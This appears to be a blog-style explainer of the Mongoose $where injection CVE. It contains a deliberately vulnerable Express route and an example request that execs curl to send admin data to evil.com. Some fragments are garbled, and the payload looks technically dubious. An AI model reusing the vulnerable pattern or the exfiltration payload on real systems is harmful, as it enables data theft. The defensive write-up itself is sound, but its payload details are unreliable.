CVE-2024-53900 - Mongoose $where Injection Vulnerability Explained
CVE-2024-53900 is a recent and critical vulnerability impacting the popular Node.js Object Data Modeling (ODM) library, Mongoose. The bug specifically affects Mongoose versions before 8.8.3, allowing malicious users to inject and execute arbitrary JavaScript through the $where query operator.
This write-up will break down what went wrong, how exploitation is possible, and what you should do to keep your applications safe.
What is CVE-2024-53900?
When you use MongoDB with Mongoose, it provides helpful features like schema validation and built-in query sanitization to keep your app secure. But before v8.8.3, Mongoose mishandled the $where operator, causing it to use untrusted user input directly when building queries.
If an attacker sends malicious input, they might run arbitrary JavaScript on your MongoDB server via $where, which is a huge security risk.
Official CVE Entry
- CVE-2024-53900 at MITRE
- Mongoose Security Advisory
Why is $where Dangerous?
MongoDB’s $where allows complex filtering using JavaScript, but it *executes* that JS on the server. If you let a user control what’s in $where, they have the power to run almost anything with database privileges.
Example of normal use
User.find({ $where: "this.age == 18" })
This finds all users whose age is 18. If the string is user-provided... you’re in trouble.
Let’s see how this can happen in an Express server that uses Mongoose
// Vulnerable Express route
app.get('/search', async (req, res) => {
const userInput = req.query.match; // e.g. 'this.isAdmin == true'
const results = await User.find({ $where: userInput }); // BAD!
res.json(results);
});
If a user sends
GET /search?match=this.isAdmin%20==%20true
They’ll get all admin users! Even worse, they could run more complex JS, exfiltrate data, or even trigger denial-of-service.
`
GET /search?match=process.mainModule.require('child_process').exec('curl http://evil.com?'+db.admins.find())//
`js
// userInput becomes attacker-supplied JavaScript!
Outcome:
How Was This Fixed?
As of version 8.8.3, Mongoose blocks $where in .find match objects by default.
Patch commit:
https://github.com/Automattic/mongoose/commit/6a1d3a4e19e49d6d420d8ac47b3e5dd1bb6ceb
If you try to use $where, you’ll get an error unless you enable it explicitly.
Instead of
User.find({ $where: userInput }) // vulnerable!
Do this
// Only allow specific fields and operators
const allowedFields = ['age', 'username'];
let filter = {};
if (allowedFields.includes(req.query.field)) {
filter[req.query.field] = req.query.value;
}
const results = await User.find(filter); // SAFE!
Summary Table
| Version | Status | Safe? |
|------------|--------------|---------|
| <8.8.3 | Vulnerable | ❌ |
| 8.8.3+ | Patched | ✅ |
References
- Mongoose Security Advisory GHSA-28qp-464j-vfrm
- CVE-2024-53900 Details
- MongoDB Docs – $where
- Mongoose Release Notes
Final Words
CVE-2024-53900 is a perfect reminder: never trust user input, especially when it can end up as code in your queries. Upgrade your dependencies, audit for dangerous patterns, and be careful anytime raw MongoDB operators are involved!
If you have legacy code, do a security review today to make sure you’re not at risk.
Timeline
Published on: 12/02/2024 20:15:08 UTC
Last modified on: 12/04/2024 04:15:04 UTC